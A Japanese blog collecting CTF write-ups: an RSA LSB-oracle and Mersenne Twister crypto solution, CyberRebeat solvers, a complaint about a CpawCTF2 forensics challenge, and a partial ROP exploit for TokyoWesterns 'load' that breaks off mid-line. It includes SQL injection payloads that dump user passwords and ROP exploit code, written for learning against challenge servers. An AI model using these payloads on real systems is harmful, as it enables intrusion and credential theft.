TokyoWesterns CTF 2018 mixed-cipher 復習
Writeupとか見ながら復習したので、その解説。 参考にしたWriteupはhttps://github.com/GabiTulba/Tokyo-Westerns-2018-Mixed-Cipher-Crypto-Write-up/blob/master/README.mdのやつ。
問題自体の解説はしないでその中で使われていた手法、特にLSB Decryption Oracle Attackの解説をメインに書く。
mixed-cipher
問題で渡されるスクリプト
from Crypto.PublicKey import RSA from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes import random import signal import os import sys sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0) privkey = RSA.generate(1024) pubkey = privkey.publickey() flag = open('./flag').read().strip() aeskey = os.urandom(16) BLOCK_SIZE = 16 def pad(s): n = 16 - len(s)%16 return s + chr(n)*n def unpad(s): n = ord(s[-1]) return s[:-n] def aes_encrypt(s): iv = long_to_bytes(random.getrandbits(BLOCK_SIZE*8), 16) aes = AES.new(aeskey, AES.MODE_CBC, iv) return iv + aes.encrypt(pad(s)) def aes_decrypt(s): iv = s[:BLOCK_SIZE] aes = AES.new(aeskey, AES.MODE_CBC, iv) return unpad(aes.decrypt(s[BLOCK_SIZE:])) def bulldozer(s): s = bytearray(s) print('Bulldozer is coming!') for idx in range(len(s) - 1): s[idx] = '#' return str(s) def encrypt(): p = raw_input('input plain text: ').strip() print('RSA: {}'.format(pubkey.encrypt(p, 0)[0].encode('hex'))) print('AES: {}'.format(aes_encrypt(p).encode('hex'))) def decrypt(): c = raw_input('input hexencoded cipher text: ').strip().decode('hex') print('RSA: {}'.format(bulldozer(privkey.decrypt(c)).encode('hex'))) def print_flag(): print('here is encrypted flag :)') p = flag print('another bulldozer is coming!') print(('#'*BLOCK_SIZE+aes_encrypt(p)[BLOCK_SIZE:]).encode('hex')) def print_key(): print('here is encrypted key :)') p = aeskey c = pubkey.encrypt(p, 0)[0] print(c.encode('hex')) signal.alarm(300) while True: print("""Welcome to mixed cipher :) I heard bulldozer is on this channel, be careful! 1: encrypt 2: decrypt 3: get encrypted flag 4: get encrypted key""") n = int(raw_input()) menu = { 1: encrypt, 2: decrypt, 3: print_flag, 4: print_key, } if n not in menu: print('bye :)') exit() menu[n]()
簡単に動作を説明すると、CBCモードのAESと1024bitのRSAを使って暗号化とかする感じ。 ただし、bulldozerが来て復号化したメッセージなどはほとんど取得できないようになっている。 おそらく、このbulldozerで復号化したメッセージの下位1バイトが取得できるところからLSB Decryption Oracle Attackを発想できるんだと思う。
解読手順 概略
Writeupで示されていた手順だと、だいたい以下のようになる。
- 暗号文と平文が入手できることとgcdを利用してNを入手 (2~4回の試行)
- Nを使って、暗号化されたASE Keyの下位1バイトが分かるので、RSA LSB oracle AttackでAES Keyを入手
- PythonのrandomモジュールのメルセンヌツイスターをクラックしてIVを入手
- 鍵とIVが分かるのでAESのフラグを復号する
print_key
によってRSAで暗号化されたAES Keyを手に入れ、decrypt
でそれを復号することができる。
ただし、bulldozer
で下位1バイトしか分からないようにされてしまう。
ここでRSAに対する攻撃のひとつであるLSB Decryption Oracle Attackが使える。
この攻撃は任意の暗号文を復号した結果の下位1ビットが分かれば、元の平文を復元することができるというものである、詳しくは後で。
これを利用してAES Keyを復号できる。
これでprint_flag
が解読できるかというとそうでもない。
print_flag
では先頭にあるIVがbulldozer
で潰されるため、鍵があっても復号できないようになっている。
そのためこのIVを取得する必要があるが、一見すると手に入らなそうに思える。
しかし、疑似乱数を推測することでこれを突破することができる。
IVの生成に使っているPythonのrandomモジュールはメルセンヌツイスターというアルゴリズムで疑似乱数を生成しているが、モジュール内部の状態であるPRNGを取得できるために予測が可能になってしまう。
推測のためのツール、randcrackがある。
推測といっても何度か(Writeupでは156回)乱数を取得する必要がある。
これで、AESの鍵とIVが入手できたのでprint_flag
によって出力されるAESで暗号化されたフラグを解読することができるようになった。
RSAの解読
LSB Decryption Oracle Attack
この攻撃は、任意の暗号文の平文の下位1ビットが分かれば平文を求めることができてしまうというものである。 だいたい以下の条件を満していれば使える。
- 任意の暗号文を復号でき、その結果の下位1ビットが分かる
- 公開鍵(N, e)が分かっている
この問題ではNも分かっていないので、その取得方法もこのあとで解説する。 ここではNは分かっているものとして話を進める。 eはPyCryptoのモジュールのデフォルト値0x10001が使われている。 普通RSAのeには0x10001が使われるので、分からなくてもこれを仮定して良い気はする。 eが極端に大きかったり小さかったりするとそれはそれで攻撃可能になりかねないので注意する必要がある。
求めたい平文を、求めたい平文を暗号化した暗号文は、公開鍵をととする。 まずを復号させる。 このとき、とはであるため、ではが成立する。 よって、を復号するとが得られる。
の値をとすると、と表すことができる(は整数)。
また、であり(がより大きくなるとが一意に定まらず解読不可能になるので、普通はそうならないようにする)、であるため、であるはず。
// TODO: ここの解釈は微妙、もう少しちゃんとした証明を探す。
要は、なので、のときはとなるというだけである。
ありえるのはだけとなる。
ここで、の偶奇(下位1ビット)に着目する。 のは、素数と素数の積なので奇数のはず(偶数なら素数2が選ばれているのでNから秘密鍵を求められる)。 の偶奇は前提条件により復号した結果から分かる。 また、は偶数であるので、によりの偶奇が分かることになる。 もし、つまり復号した結果が奇数(下位ビット1)なら、も奇数である。 なのでということになる。 もしが偶数(下位ビット0)なら、となる。
のとき、なのでということになる。
のとき、なのでということになる。
// FIXME: 等号が間違ってる気がする
結果を簡潔にまとめると、の復号した結果の下位ビットが
- 0なら
- 1なら
となる。 つまり、下位1ビットから平文の範囲をの半分に限定することができることになる。 も同じようにさらに半分にでき、でさらに半分にできる。 これをせいぜい鍵長のビット数回繰り返せば平文を定めることができる。
のときについて
同じような議論で、に限定できる。 のときの範囲と合わせて考えて、さらに半分にすることができる。
Nの特定
LSB Decryption Oracle Attackで、任意の暗号文を解読した結果の下位1ビットを知ることができると平文全体を求めることができると分かった。 しかし、この問題では肝心のNが分からないようになっている。 そこでまずNを特定する必要がある。
任意の平文の暗号文を入手できると十分な確度で推測することができる。 これにはgcdを利用する。
暗号化処理をと表す。 ある平文を用意し、暗号文を取得する。 暗号化処理により、となる。 によりが取得できる。
このとき、同士のgcdを計算することでが取得できる。 の値によっては失敗しそうだが、のビット長を利用することで確度を上げられる。 だいたい2つから4つくらいのgcdで大丈夫らしい。
AESの解読
AESの概略
RSAよりは浸透してないだろうと思うので、簡単に説明。 共通鍵暗号なので、暗号化と復号に使う鍵は同じものになる。 簡単に言えば、鍵から乱数列を作ってその乱数列を使い1ブロックずつを暗号化していく。
モードというものがあり、暗号化のされ方や強度に影響が出る。 この問題で使われているのはCBCモードというもので、前に暗号化されたブロックのデータが次のブロックの暗号化に使われるモードになる。 これにより、一部だけ解読したり改ざんしたりしにくくなる。 前のブロックを使うため、一番最初のブロックだけは初期化ベクトルという特別なブロックを前のブロックとして使う必要がある。 復号するためにはこの初期化ベクトルも必要になる。 この初期化ベクトルは暗号文と同時に送信される(そのはずだけど微妙に憶えてない)。
解読方法
RSAの解読することにより、print_key
からAESの鍵を取得することができた。
本来なら鍵され分かれば共通鍵暗号のAESは復号できるはずだが、IV(初期化ベクトル)をbulldozer
に潰されてしまっているため復号できない。
そのため、IVをどうにかして取得する必要がある。
問題の処理ではIVをrandom.getrandbits(BLOCK_SIZE*8)
で生成している。
このrandom
では、疑似乱数の生成にメルセンヌツイスターというアルゴリズムを使用している。
乱数の実装はたいていこのメルセンヌツイスターになってるはず、多分。
モジュールなので当然内部の初期状態などは分かっているため、これを解析して次の乱数を予想できるらしい。
randcrackでそれが可能、方法についても記載されているがまだ調べてない。
ともかく、これにより鍵とIVが手に入ったためprint_flag
を解読することができ、フラグをゲットできる。
スクリプト
writeupの方のコードは汚なくて読みにくいので、できればあとで書きたい。
CyberRebeatCTF Writeup
基本的に自分で解いたやつだけ。
binary
crackme
file
で調べるとARMだった。
見た感じでは標準入力がフラグになっていて、再開なら符号化された文字列と一致するというような処理だった。
こういうのはangrで解ける。
シミュレーションしないといけないかと思ったけど、試してみたらangrがそのまま実行できた、すごい。
import angr import claripy goal = (0x000105c0) avoid = [0x0001057c, 0x000105cc] key_length = 23 p = angr.Project('./crackme') arg1 = claripy.BVS('arg1', 8*key_length) state = p.factory.entry_state(args=["./crackme", arg1], add_options={'BYPASS_UNSUPPORTED_SYSCALL'}) for b in arg1.chop(key_length): state.add_constraints(b != 0) pg = p.factory.simgr(state, immutable=False) e = pg.explore(find=goal, avoid=avoid) for path in pg.found: key = path.state.se.any_str(arg1) print("KEY: {}".format(key))
使い方を良く分かってないので変かもしれない。
f31337
fという関数を呼んだあと、スタック上の値とxorした文字列をフラグとして出力している。 が、実行が終わらない。
fを解析してみると、再帰していることが分かった。 再帰で渡す引数を見てみるとフィボナッチっぽいことがなんとなく分かる。 分からなくてもfに渡す引数を順番に変えて観察すれば直感的に分かるはずだ。
その後の処理を見ていくとxorでフラグにしてるっぽい部分が良く分からなかったので手動でデコンパイルした。
int main() { char flag[23] = {0}; int rdx = 0; // mov edx, 0; do { // maybe like this int eax = rdx % 8; /* int ecx = rdx; */ /* ecx = ecx >> 0x1f; // MSB to LSB? */ /* ecx = ecx >> 0x1d; */ /* int eax = ecx + rdx; */ /* eax = eax & 7; */ /* eax = eax - ecx; */ // eax; // cdqe printf("%d\n", eax); // eax = [rsp + rax]; flag[rdx] ^= (char)eax; rdx += 1; } while (rdx != 0x1b); // print flag return 0; }
実際に走らせてみるとただ%8
してるだけだった、最適化の影響で分かりにくい処理になるらしく要調査。
そんなこんなで見ていくと、どうやら31337番目のフィボナッチ数を求めれば良いらしい。 普通にやると計算量が爆発して終わらない(f31337自体が終わらないのはそのせい)ので最適化してあげよう。 メモ化とかその辺を調べれば良いと思う。ググったら出てくるかもしれない。
unsigned long long inner_fibo(unsigned long long num, unsigned long long n1, unsigned long long n2) { if (num == 0) return n1; else return inner_fibo(num-1, n2, n1 + n2); } unsigned long long fibo(unsigned long long num) { return inner_fibo(num, 1, 1); }
せっかくなのでCで書き直すとこんな感じ。
あとはgdbで結果を直接レジスタに設定してやればいい、その後フラグが表示される。
が、このフラグが誤字っていて通らなかった。ふざけんな!
Crypto
FLAG.encrypted
公開鍵と暗号化されたflagが降ってくる、RSA問題。 pemになった公開鍵のデータを見るとeが異様に大きい値(普通は0x10001、大き過ぎても小さ過ぎてもだめ)ので、wiener attackが可能かもしれないと分かる。 自作ツールでちゃんと解けた、嬉しい。 が、ロード関数作ってなかった上にブランクがあったので無駄に苦戦した。 最終的には秘密鍵だけ渡してPythonで解読、アホか。
(setf n 31264943211208004265136257812922871300684039354012330190834942986731934389912197706421706868451670101634969269274623828581050676733228020854883441494567900924428451571798331504026565707472121772002140681756280190535290943933921834846379665606960802397274296703426557981596105415677658499356618548233939389723076124471098440146923189296244078349641695576997335766674231277153794543785116533620076935082137870329278026757983028280620935089387958708697459641119539250284149601503334899598799831125405703179815161182156366487341348125463136351944709488739527831476641990338237417959538685045943046162779336438891834429341) (setf e 22766071057080311941289025090582171055356241374729867687887721165996480747230400879635593368509050250879664911119593845131632736205037337764476149970317207453325852306744743355843865620488975017552101697514723815810433086583097066849281143179649731453788074604410013059110037363738062212112776408805474047616975914133565204728262194785129197335550911873746857764241100489778203898866941412395489839653170240092405989209278646213522785197290066584628647242197250525516210135602818305240062919066210956719110372916047407851800476348031106117342132809755720425300509425412742257946576118121595189882915440991231610926049) ;; ローカルに置いてある、登録しようか? (ql:quickload :hackrsa) ;; 秘密鍵は出せる、秘密鍵は (setf d (hackrsa:wiener-attack n e))
Signature
ぎりぎりでハッシュエクステンションアタックだと分かったものの、時間が足りず解けなかった。 これさえ解ければ全完だったのに、無念。
Misc
Opening Movie
協力して解いた。 ページ中で300回まで動画を見ないといけないとなっている。 たかだか10数時間なので最初から自動で再生し続ければflagは見れるが、そんなことやってられない。 本当に300回再生したやつがいたらしい、素晴しい。
とりあえずページ中のJSを見てみたが、どうもdllを読み込んでいる。 blazorというブラウザ上でC#を実行するフレームワークがあるらしく、そのプログラムなのだそうだ。 あたまおかしい。
とりあえずそのMoviePlayer.dllをdnSpyで逆コンパイルして見てみた。 すると、encrypt('FLAG_IS_HERE').txtというファイルへのアクセスがあった。 encrypt自体は単なるMD5だったので、ハッシュ計算して直接アクセスすれば良い。 これでフラグゲット。
PPC
ジャンル名はProgrammingになってる。
Calculation
計算式がひたすら降ってくるので計算して返すだけ。 悪い子なのでeval使った。
from pwn import * io = remote('59.106.212.75', 8080) while True: expr = io.recvline() io.info("expr: {}".format(expr)) io.sendline(str(eval(expr))) io.info("send: {}".format(str(eval(expr)))) io.interactive()
Prime Factor
その名の通り素因数分解していく。 他の人が書いたやつをpwntools使うように手直ししてやったら動いた。
from pwn import * import socket import sympy s = remote('59.106.212.75', 8081) for i in range(1000): data = s.recvline() print(data) max_num = max(sympy.factorint(int(data.decode('utf-8-sig').encode('utf-8').decode('utf-8').strip('\n')))) s.sendline(bytes(max_num))
まあやるだけだけど、BOM付きでキレそうだった。
Visual Novels
Reading Powerを越えないように本を読んで満足度を最大化する問題。 要はナップサック問題。 Pythonに組み合わせ問題を解けるツールがあったので、それを使った。 Python3でしか動かないので、pwntoolsはpython3版を拾ってくる必要がある。
from pwn import * from ortoolpy import knapsack def recvline(io): return io.recvline().decode('utf-8-sig').encode('utf-8').decode('utf-8') def parse(io): recvline(io) # blank line power = int(recvline(io).replace('Reading Power = ', '')) recvline(io) novels = [] line = recvline(io).strip() while line != 'Answer = ?': novels.append(eval(line.strip(','))) # dangerous hack! line = recvline(io).strip() recvline(io) # blank line return (power, novels) def solve(power, novels): size = [n[0] for n in novels] weight = [n[1] for n in novels] capacity = power return knapsack(size, weight, capacity) io = remote('59.106.212.75', 8082) for _ in range(5): vals = parse(io) log.info("params: {}".format(vals)) ans = int(solve(*vals)[0]) log.info("ans: {}".format(ans)) io.sendline(str(ans)) io.interactive() io.close()
ortoolpyすごい。
Stegano
Last 5 Boxes
MP4が降ってくる。 MP4について調べてみると、ボックスと呼ばれる単位でデータが管理されていることが分かる。 おそらく最後の5つのボックスに何かあるのだろうと当たりを付けて、MP4の解析方法を探した。 gpacのMP4Boxが良さそうだったのでそれで確認すると、最後の5つはuuidボックスというものだった。 自由にIDを付けて使えるらしい。 これのデータの部分だけ簡単にパースして、とりあえず全部くっつけたらpngファイルだった。 開くとそれがフラグだった。
from pwn import * context.endian = 'big' def parse_uuid_box(data): length = data[:4] length = u32(length) print(length) data = data[4:] uuid_sig = data[:4] assert (uuid_sig == 'uuid') data = data[4:] uuid = data[:16] data = data[16:] pack = data[:length - 24] data = data[length - 24:] return ((length, uuid, pack), data) offset = 20998094 mp4 = '' with open( 'a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4', 'rb') as f: mp4 = f.read() uuid_boxes = mp4[offset:] boxes = [] for _ in range(5): box, rest = parse_uuid_box(uuid_boxes) boxes.append(box) uuid_boxes = rest with open('dump.bin', 'wb') as f: for _, _, data in boxes: f.write(data)
ビッグエンディアンの数値変換のためだけにpwntoolsを使うという力技。
Trivia
Monero
知ってた、coinhive。 ググったらすぐだろう。
Web
White page
最初問題文が見にくかった上にサイレント修正しやがった。 問題文のリンク先のページにいくと、入力フォームがhiddenになっていて入力できなくなっている。 単純にPOSTを再編集するか、ページの値を直接書き換えて問題文で指定されたIDとパスを投げればいい。
Uploader
他の人にunionを教えてもらったので色々やったらできた。
ファイル名検索にSQLiの脆弱性がある、これを利用してsecret.zipが手に入る。
' or 1 == 1; --
パスがかかっているが、ログインするとZipのパスが見れるようになるのでどうにかしてログインする必要がある。
SQLiを色々試しているとエラーメッセージでSQLite3を使ってることが分かった。
ここで、SQLite3でテーブル名が格納されているテーブルの名前とかを調べてみると、sqlite_masterに格納されていることが分かった。
' or 1 == 1 union select * from sqlite_master; --
カラム数が違うと怒られたので、適当に合わせてやる。
' or 1 == 1 union select type,name,tbl_name,rootpage from sqlite_master; --
これでテーブルの名前が流出した、FilesとUsersがある。
おそらくUsersにパスワードが格納されているのだろうと当たりをつけて表示する。
カラム数が違っているがカラム名が分からないのでどうしようかと思ったが、入力フォームの名前で試したらどうやら合っていたらしくユーザ名とパスが流出した。
' or 1 == 1 union select userid, password, NULL, NULL from Users; --
あとはこれでログインするだけである。 パスをゲットしてsecret.zipを解凍、フラグゲット。
CpawCTF2のBad Containerについて
CpawCTF2 Bad Container
この間チャレンジしてみてクソ問だと思ったので、その理由と挑戦する人が引っかからないためにメモを残しておく。
問題としては良質なのでチャレンジする価値はあると思う。問題以外の部分が雑過ぎる。
引っかかりポイント
- ルートにあるflagはフラグじゃない、誤字も形式も関係ないしフラグとはまったく関係ない
- 秘密のメッセージは何の指定もないがリートになっているもの。順番も指定されてないが現実的な時間で試行可能なので試す。
ここから先はネタバレありで何が悪かったのかを愚痴る。
悪かった点
フラグ形式
これはBad Containerに限らず別の問題でも見られる問題点だが、フラグの形式が明示されておらず不明瞭になってる。 全体としての形式は一応Noticeに書いてあるものの、sign up, sign in, challengeの問題を解くまでの最短ルートで表示されないのは良くないだろう。 トップページのHomeかchallengeの一番上にでも表示しておくのが一番良いと思う。 探さなきゃ形式が分からないのはストレスだし誤解のもとだ。
CpawCTFの方ではトップページにあるんだからそれに合わせるのが良いと思う。
ハッシュ値
ファイルをダウンロードするような問題では大抵ハッシュ値が掲載されている。 ダウンロード中に破損したのか最初から問題として破損してるのかが紛らわしいので、意図しない破損があるかどうかを確認するためだ。 しかし、この問題ではダウンロードしたファイルとハッシュ値が、少なくとも現時点では一致していない。 ダウンロードされるファイルはzip形式になっているが、ハッシュ値はzipの中身のovaファイルのものになっているからだ。 圧縮したらハッシュ値が変わるということも分からないか、非常に雑な人間が問題を作りテストせず公開したかのどちらかだろう。
公開するファイルのハッシュ値を公開する、必ずテストする。基本的なことで防げる。 今まで誰一人として質問しなかったのか? 質問されたのに修正しなかったならとても不誠実な態度だと言える。
flag
問題の中で渡されるVMのルートディレクトリに存在しているファイルの名前が悪すぎる。 100人に聞いたら100人がこの中にあるものがフラグだと思うだろう。 このファイルの中身も最悪だがそれは後にしておく。 CTFにおいて、flagと書いてあるが実はフラグではありませんでしたなんて問題は出すべきじゃない。 つまらないし意味がない、スコアサーバにDoS攻撃されたいなら止めないが。 意図したものならともかく、何も考えてないだけに見える。
hintとかルートにあると目に付くが誤解のない名前にするべきだ。 フラグを探したいのであってフラグかどうかを試し続けたいわけじゃない。
誤字
flagでも書いたが、flagの中にある文字列が最悪なことに誤字ってる。
"I Love Conainers"だ。
そのせいで、フラグとして受理されなくてもそれがフラグじゃないからなのか、誤字だからなのか、運営がミスをしてるからなのか判別できない。
当然、誤字を修正しないやつが設定したフラグが誤字ってない保証などない。
もしかしたら小文字で設定する馬鹿かもしれないし、何の指定もせずに空白を_
に置き換える愚か者かもしれない(フラグの形式も明示しないし誤字を放置する連中の何を信頼できるというのか)。
埒が明かないので問い合わせてみたが、この文字列はフラグじゃないという回答が得られた。 誤字ってるのにまさにこの文字列がフラグじゃないことが分かっても何の役にも立たない。 それはフラグを投げれば分かることだ。 せめて誤字していることに関する回答ぐらいすべきだろう、意図したものではないなら作問者の明確なミスなんだから。 これまでに一回も指摘されてないとは考えにくいが、まあそれはありえるかもしれない。 しかし一切問題のテストをしてないのか? テストすればすぐに気付くと思うが。
その上、問い合わせしてから数日立つがハッシュ値からして修正されていないようだ。 まあすぐに動けないこともあるだろうし、またあとで確認してみよう。 今回の問い合わせで作問者はこの誤字について知ったはずだ、修正されなければそいつはクソだ。 少なくとも問題文中で告示すべきだ。
ともかく、誤字は指摘されたら修正すべきだし、公開前に誤字が残らないように確認すべきだ。 解いてみた限りではこれは一応ヒントなのだが、tが抜けていることとは関係がなさそうな問題だった。おそらく本当に単なる誤字なのだろう。
フラグについて
取得したスクリプトファイルを見ると、hintとしてフラグが指定されている。
もうhintという単語使ってるんだからflagじゃなくてhintでいいだろと感じられる。
このヒントを簡単に説明すると、secret_message
を2つアンダーバーで繋げたものがフラグになるらしい。
このヒント自体には問題はないと思う、問題はこの秘密のメッセージだ。
この秘密のメッセージを解読するにはページを見ろみたいなことが書いてあるのだが、その肝心のページに書いてあることのどれが秘密のメッセージなのか一切書いてない。
そのページ自体、ヒントが見れるならもう見ているはずだからsecret_message
とはっきり記載してしまっても問題はないはずだ。
にも関わらず何も書いてない。
不要な曖昧性は排除するべきだろう。
確かにページ中に不自然なリートのフレーズはあるので、それが秘密のメッセージの片割れだと考えることはできるが、この時点ではもう片方が分かっていないので無駄な試行を生む。
特にI loveで始まるもうひとつのフレーズが載っているのがflagと合わせて非常に紛らわしい。
この問題の本質は仮想マシンやコンテナ技術のフォレンジクスであって、紛らわしいフラグをどれが正しいのかと無駄に試させることではないはずだ。
ちなみにもう片方もsecret_message
かどうかの指定はない。まったく関係ない文字列かもしれない疑いは最後まで晴らせないわけだ。
リートなので直感的に分かるが、いくつかのCTFを経験したから分かるというだけで慣れてない人間にとってはいい迷惑だ。
単純にsecret_message: xxxxx
と書けばいい、それだけで不要な混乱をなくせる。
質問に対する対応
誤字でフラグが通らないのか、それともこのflagという馬鹿が付けたとしか思えない紛らわしい名前のファイルの内容がフラグとは何の関係もないのかを確かめるために運営の人に質問をした。 常設のCTFなので対応が遅いことは仕方ないし、解法に直接関することに回答できないのも仕方ないだろう。それは問題ではない。 だが、誤字が入ってることについてわざわざ言及されたのに「その文字列はフラグではありません」などというクソの役にも立たない、質問する前から分かっているようなクソのような回答しか返せないのなら何の意味もない。 やってることがフラグと送信フォームと同じじゃないか、そんなことはフラグを送信したから分かっている。 しかも最終的にはトラブルなどについての対応しかできないときた。 それなら作問者にたらい回しにする必要があるか? 最初に質問した人だけで十分なはずだ、どうして待たせた? 極めて不愉快だった、特別なサービスを要求するわけではないが無意味に浪費される時間とコミュニケーションほどフラストレーションが溜まるものはない。 でもこの点については仕方がない、プロが仕事してやってるわけでもないのだからある程度は適当なものだろう。 そういうわけで運営があまり良くないのは許容できることではあるが、これだけ積み重なってるとそんな気も失せてくるのも事実だ。
誤字についてわざわざ言及されたならその場でそれを訂正するべきだ。はっきりと正しくはcontainerだと明示するべきだ。 そしてそれがフラグに影響しないなら、この誤字による影響はありませんだとか言うべきだろう。 フラグじゃない文字列をフラグかどうか試すクソ問題を作った自負があるなら別だが。
良かった点
人間的に劣っているのでストレスの捌け口にしたが、この問題は別に問題として悪いわけじゃないと思う。 むしろ技術やシステム、ソフトウェアに対する知識と理解がなければ解けない、良い問題だった(その分悪かった点で台無しだが)。 自分の悪評を挽回するために良かった点を上げていこうと思う
Linuxについて
この問題では最初に仮想マシンをダウンロードしてそれを起動するのだが、ある理由でログインできなくなっている。 Linuxの自動起動や通常の方法でログインできなくなった場合の対処について知ることができる良い障害だった。 ある程度の分かりやすさがあるのも良い、あくまで導入だった。
フォレンジクスについて
ログインしたあとの調査も、オーソドックスでためになる。flagは別としてだが。 おそらく不正アクセスなんかの調査でも、調べる対象になるところに次のヒントがあるのは素晴しい。 楽しいだけのクイズじゃない問題は良問だと思う。
Dockerについて
DockerHubについて知ることができるだろう。 Dockerを触ったことがない人が学ぶきっかけにもなるし、これからはコンテナ技術を使っている場合のフォレンジクスも増えるだろう。 題材として良いと思う。
最後のメッセージについて
Dockerの仕組みを知っていなければおそらく解けないはずだ。 知ってはいたが具体的にやったことがなかったため、とても良い勉強になった。
あまり具体的に書き過ぎるとネタバレになりすぎるため、伏せ気味に書いた。
まとめ
色々書いたが問題としては良いということは強調しておく。 問題としては良いだけに、それ以外の雑さ加減が際だっているのも事実だ。 この記事が目に付いて修正されることを願う。 直接言うだけのコミュニケーション能力はない。 そもそも勝手に悪いと思ってるだけで一般的にはそうでないかもしれない。 だからといって考え方は変えないが、この雑な問題が本当に良いかどうかは考え直して欲しいところだ。
TokyoWesterns CTF 2018 load 復習
TokyoWesterns CTF 2018 load 復習
答えを見ながら復習。
実行してみるとどうもファイルを読み込んでるっぽい。 リモートホストで実行すると、flag.txtという名前のファイルが読み込める。
/proc/self/fd/0
がopenできるので、ファイルの代わりに標準入力を開くことができる。
ファイルの内容を読み込むときにmainでバッファオーバーフローしてるのでripが取れる。
がしかし、mainの最後で標準入出力が全部closeされるためフラグを出力させることができない。ここで詰まった。
Writeupを見ると、/dev/pts/?
で再度標準入出力を開けるらしい。詳しい仕組みはまだ分からない。
さらに、ROPのためにcsu_init
を利用する。
csu_init
について
http://inaz2.hatenablog.com/entry/2014/07/31/010158
ももいろテクノロジー様々、これによるとglibcの__libc_csu_init
を利用すると任意の3引数関数が呼び出せるらしい。
__libc_csu_init
の以下の部分が利用できる。
4005f0: 4c 89 fa mov rdx,r15 4005f3: 4c 89 f6 mov rsi,r14 4005f6: 44 89 ef mov edi,r13d 4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 4005fd: 48 83 c3 01 add rbx,0x1 400601: 48 39 eb cmp rbx,rbp 400604: 75 ea jne 4005f0 <__libc_csu_init+0x50> 400606: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8] 40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10] 400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18] 400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20] 40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28] 40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30] 400624: 48 83 c4 38 add rsp,0x38 400628: c3 ret
ただし、実際にコンパイルしてみたコードとは微妙に違う。
0x00400580 4c89ea mov rdx, r13 0x00400583 4c89f6 mov rsi, r14 0x00400586 4489ff mov edi, r15d 0x00400589 41ff14dc call qword [r12 + rbx*8] 0x0040058d 4883c301 add rbx, 1 0x00400591 4839eb cmp rbx, rbp 0x00400594 75ea jne 0x400580 0x00400596 4883c408 add rsp, 8 0x0040059a 5b pop rbx 0x0040059b 5d pop rbp 0x0040059c 415c pop r12 0x0040059e 415d pop r13 0x004005a0 415e pop r14 0x004005a2 415f pop r15 0x004005a4 c3 ret
loadだと以下のような感じになってる。実際にコンパイルした場合のコードと一致する。
400a50: 4c 89 ea mov rdx,r13 400a53: 4c 89 f6 mov rsi,r14 400a56: 44 89 ff mov edi,r15d 400a59: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 400a5d: 48 83 c3 01 add rbx,0x1 400a61: 48 39 eb cmp rbx,rbp 400a64: 75 ea jne 400a50 <stdout@@GLIBC_2.2.5-0x2005d0> 400a66: 48 83 c4 08 add rsp,0x8 400a6a: 5b pop rbx 400a6b: 5d pop rbp 400a6c: 41 5c pop r12 400a6e: 41 5d pop r13 400a70: 41 5e pop r14 400a72: 41 5f pop r15 400a74: c3 ret
rdxへの値のセット
とりあえずloadの方でrdi, rsi rdxをセットする方法を考える。 次の手順でいけそう。
- 0x400a6aからスタートする。rbx, rbp, r12, r13, r14, r15に値が設定できる。
ret
で400a50に飛ぶ。ここでmov rdx,r13
でrdxに値が設定できる。 => r13 = rdx- rsiにr14が設定。 => r14 = rsi
- ediにr15dが設定される、これは使わない方が良いかもしれない。上位ビットが設定できない。
call QWORD PTR [r12+rbx*8]
が入るので、[r12 + rbx * 8] -> ret;
となるように調整する。 => [r12 + rbx * 8] -> ret;jne
でのジャンプがあるので、rbx + 1 == rbp
となるようにrbxを設定しておく。 => rbx + 1 == rbp- そのあとはスタックを消費するだけなので、適当にパディングすれば良い。
rdiをセットするガジェットはあったので、それを使えば問題ない。
Exploit
流れとしてはまず、/proc/self/fd/0
を開かせてバッファオーバーフローを引き起こす。
NXビットが立ってるのでROPする。
ROPでflag.txt
を開き、読み込み、出力することを目指す。
まず/dev/pts/?
を適当に指定し2回開くことで0と1のファイルディスクリプタ、つまりstdinとstdoutを設定する。
これでputsでstdoutに出力されるようになる。
次にflag.txt
を開く、これはfdが2になる。
その次にreadでbss領域にファイルの内容を読み込む。
最後はその読み込んだ内容を出力する。
/dev/pts/?
のopenがうまくいっていれば、フラグが表示される。
何回か繰り返すとうまくいく、だいたい0~3らしい。0でうまくいった。
最終的にExploitは以下のようになる。
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * import time context.update(arch='amd64') exe = './pwn_load' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote('pwn1.chal.ctf.westerns.tokyo', 34835) else: return process([exe] + argv, *a, **kw) # gdb gdbscript = ''' continue '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== io = start() elf = ELF(exe) # file names stdin_path = '/proc/self/fd/0' pts_path = '/dev/pts/' + args.PTS flag_txt = 'flag.txt' # gadget pop_rdi = 0x00400a73 # pop rdi ; ret pop2_rsi = 0x00400a71 # pop rsi ; pop r15 ; ret ; csu_init1 = 0x400a50 # mov rdx,r13; move rsi,r14; ... csu_init2 = 0x400a6a # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret; ret = 0x004006a9 # ret # address main = 0x00400823 global_buf = 0x601040 bss = 0x601000 pts_path_addr = global_buf + len(stdin_path) + 1 flag_path_addr = global_buf + len(stdin_path) + 1 + len(pts_path) + 1 rbp = 0x7fffffffd720 def set_rdi(rdi_val): return p64(pop_rdi) + p64(rdi_val) def set_rdi_rsi(rdi_val, rsi_val): payload = set_rdi(rdi_val) payload += p64(pop2_rsi) payload += p64(rsi_val) payload += "A" * 8 # padding return payload def set_rdi_rsi_rdx(rdi_val, rsi_val, rdx_val): # r13 -> rdx, r14 -> rsi, [r12 + rbx * 8] -> ret, rbx + 1 == rbp dummy_val = 0x4141414141414141 rbx = rbp - 1 # this work unless rbx * 8 == addr trg = global_buf + len(stdin_path) + 1 + len(pts_path) + 1 + len( flag_txt) + 1 neg_r12 = trg - rbx * 8 mod = 0x10000000000000000 r12 = mod * (-neg_r12 // mod + 1) + 